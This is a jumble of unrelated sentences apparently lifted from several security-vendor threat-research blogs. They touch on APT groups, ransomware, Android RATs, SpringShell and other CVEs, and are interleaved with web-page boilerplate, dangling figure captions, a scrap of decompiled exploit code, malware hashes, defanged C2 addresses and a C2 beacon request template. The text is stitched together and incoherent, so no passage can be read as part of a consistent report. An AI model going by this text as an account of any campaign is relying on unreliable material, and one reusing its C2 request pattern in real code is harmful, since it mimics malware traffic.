Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.


Sitemap      Figure 7.


The other piece is included separately in the assets directory in APK files, and will be invoked by Java reflection in runtime (Figure 7).


Please mark, I'm not a robot!


While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.


Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and/or Spring4Shell) by the infosec community.


Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.


In the event the malware is not running within the parent process of cmd.exe or explorer.exe, it will exit immediately.


The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.


The timetable resembles traditional working hours for cybercriminals, compared to those with less structure who prefer starting their days late, but also working until very late hours.


But security concerns persist.


Figure 14.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


An Office function used for automatic and user-free updates for embedded links upon opening.


PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents.


In our analysis of DarkSide samples, we saw that phishing, remote desktop protocol (RDP) abuse, and exploiting known vulnerabilities are the tactics used by the group to gain initial access.


“Swiftme” is possibly a nod to electronic or wire transfers and reveals the campaign’s purpose after harvesting credentials.


Unit 42 released details about attackers hijacking web browsers to mine for compute resources and exchange for cryptocurrency.


That’s what we’ll continue to do, expanding and deepening our strategic partnerships with AWS and other providers in a collective effort to make the digital world safer.


s[_local28][(((_local41 - _local12) / 4) + 9)] = _local9;  s[_local28][(((_local41 - _local12) / 4) + 10)]


Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).


Additionally, it should be noted that there is value beyond the EDU account itself for password and security question information, in the event they are shared across other online accounts for the legitimate user.


Consistent with our previous reporting on the situation, Unit 42 continues to lead a company-wide effort to collect, evaluate and disseminate the latest intelligence on cyber activity related to Russia and Ukraine.


These tasks can run a BPS backdoor or a Cobalt Strike loader.


Constant monitoring of threat groups is one of the ways that security researchers and law enforcement agencies are able defend systems against cybercrime.


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Like the previous campaigns, these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell (PS) scripts leading to a backdoor payload.


Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful.


We need more facts to be sure, but this instance may be the first public breach related to the Heartbleed vulnerability since it was announced in April.


Appendix A: Cortex Xpanse: Identifying Assets That May Be Impacted by CISA’s Known Exploited Vulnerabilities


King also explains that the CSC report supports operationalizing cybersecurity partnership with the private sector and remolding how the government works with the private sector.


The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.


The techniques used in this exploit are similar to those used in other recent attacks.


Based on our observation, the quser command was used routinely throughout the attack to determine active remote sessions.


The important thing to note here is that the decoy Word document had nothing inherently malicious outside of the link to the template hosted at hxxp://xmlformats[.]com, allowing it to bypass EDR solutions.


We also got to observe how the domain фсб[.]com used to look in October 2020 – a blog of sorts titled “Ghost in the Wire.”


A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445.


Multiple string obfuscation routines are included in this malware sample.


Figure 6: Decompiled Form structure of Confucius’ sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A)  Figure 7:


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.


To protect against CryptoWall 2.0 we recommend taking the following actions:  Adobe Reader Embedded BMP Parsing Integer Overflow Vulnerability  CVE-2014-0556  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Figure 11.


Let's continue this conversation because when we talk we all get better and more secure online.


Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.


Since then, there has been opportunistic exploitation by various threat actors and ransomware groups (Dearcry, BlackKingdom) since majority of Outlook Web App portals are public and indexed by search engines like Google Search, Shodan, Binaryedge, Censys, Zoomeye etc.


The ADSS exploit abusing CVE-2021-40539     Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.


In addition, the attack misuses the object storage service (OSS) of Alibaba Cloud (Aliyun) to host the BIOPASS RAT Python scripts as well as to store the exfiltrated data from victims.


Figure 2: The most popular account type has sold at least 569 times.


This is usually used during an early stage of the attack to grab content from the victim’s management page.


Patchwork's Ongoing Campaigns


Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.


The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).


A more reasonable link to the Freezing ransomware family exists.


Whether they are work documents, e-receipts, or a lease on a new apartment – Office documents are useful to all of us, and this is part of the reason we’re very likely to open an office document we receive as an attachment in e-mail.


Some of them will even check which SIM operator a user is using (Figure 6).


Quick and easy to deploy solutions like Trend Micro Cloud One and Trend Micro Vision One can provide you with SecOps-approved security from build-time to runtime without slowing you down.


Screenshots taken from Trend Micro Vison One.


While analyzing the samples that have been previously attributed to APT37, we noticed that the persistence mechanism in Operation Earth Kitsune uses the same naming convention to auto-start itself through the Windows run registry key.


Defense Evasion


Fig - Potential Chopper Webshell Execution      Fig - Identified Suspicious China Chopper Webshell Communication      Fig - Possible Credential Dumping via Command Line


HYPERSCRAPE won't run unless in a directory with other file dependencies.


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


Microsoft recently released a patch for a critical vulnerability in Microsoft Secure Channel (aka Schannel).


A few were observed displaying a fake error message requiring user click-through to continue execution.


As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.


In collaboration with DOE's Idaho National Laboratory (INL) and the Foundation for Defense of Democracies' (FDD) Center for Cyber and Technology Innovation (CTTI), the OT Defender Fellowship hopes to expand the knowledge of primary US front-line critical infrastructure defenders.


Jon:


Organizations running OctoberCMS prior to Build 472 and v1.1.5 are encouraged to update to the latest version.


It leads to downloading a ZIP archive that contains an LNK downloader.


The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.


The message body contains the term “You will use” (translated from Chinese shown in Figure 4).


The malware used for the attempted infection purported to be a legitimate video player, providing viewing software for security camera solutions.


There was no sandbox escape or implant delivered via this exploit.


In the aforementioned research paper, we shared that Pawn Storm heavily abuses compromised accounts — mainly in the Middle East — to send spear-phishing emails.


This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.


Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.


Ed:


These devices gather some of your most personal information.


Other campaigns


We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.


In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest.


This post was substantially updated on Feb. 24 to add information on the recent DDoS attacks, HermeticWiper malware and website defacement; update our recommendations for how organizations should prepare for potential cyber impact; and provide additional details for our customers and clients on how we can help.


Once the Android RAT is executed, it will attempt to establish a connection to its C&C server, 209[.]127[.]19[.]241[:]10284.


We discovered that the vulnerable code existed in the Auth/Models/User.php file within the October Rain library of OctoberCMS.


We remain committed to updating the community as we uncover these campaigns.


But, there is one cause that we can point to that has become especially problematic to the design and operations of security programs – the focus on the “kill chain.”


In later versions it was obfuscated with Base64.


A ransomware infection, which encrypts all of your files, is similar to a drive failure, except that for a small fee you have the chance to get your files back.


One of the most common ways to do this is by displaying advertisements to users or by offering in-app purchases (IAPs).


Below is a table for comparison.


This is a pretty common operation when attackers want to withdraw or disperse currency from ransom payments into other wallets.


The second cluster is made up of compromised servers running old, open-source versions of Oracle GlassFish Server.


We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.


The malware selects a randomly chosen DLL from this directory.


Pluguin - When penguins and wall sockets mate.


Based on our newest research, we can answer a question that many have had about these attacks: how is Shamoon 2 able to enter an organization’s network and spread so widely?


Possibly sends collected data to attackers via C&C channel   Indicators of Compromise (IoCs)  SHA256  Detection Name  649675baef92381ffcdfa42e8959015e83c1ab1c7bbfd64635ce5f6f65efd651 BKDR_WATERBEAR.ZTGF 3909e837f3a96736947e387a84bb57e57974db9b77fb1d8fa5d808a89f9a401b TROJ_WATERBEAR.ZTGD fcfdd079b5861c0192e559c80e8f393b16ba419186066a21aab0294327ea9e58 TROJ_WATERBEAR.ZTGJ 3f26a971e393d7f6ce7bf4416abdbfa1def843a0cf74d8b7bb841ca90f5c9ed9 TROJ_WATERBEAR.ZTGH abb91dfd95d11a232375d6b5cdf94b0f7afb9683fb7af3e50bcecdb2bd6cb035 TROJ_WATERBEAR.ZTGH bda6812c3bbba3c885584d234be353b0a2d1b1cbd29161deab0ef8814ac1e8e1 TROJ_WATERBEAR.ZTGI 53402b662679f0bfd08de3abb064930af40ff6c9ec95469ce8489f65796e36c3 TROJ_WATERBEAR.ZTGH f9f6bc637f59ef843bc939cb6be5000da5b9277b972904bf84586ea0a17a6000 TROJ_WATERBEAR.ZTGI 3442c076c8824d5da065616063a6520ee1d9385d327779b5465292ac978dec26 BKDR_WATERBEAR.ZTGD 7858171120792e5c98cfa75ccde7cba49e62a2aeb32ed62322aae0a80a50f1ea


The next-stage payloads were CobaltStrike in this series of incidents.


In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.


On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR.


Most reviews of this package were favorable, with comments like "very good to use" or "with seller’s help I can unlock my phone now."


Network traffic from a Crimson RAT malware sample     ObliqueRat Malware Analysis


We recently discovered a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet).


The features of the updated SysUpdate payload look similar to its previous versions.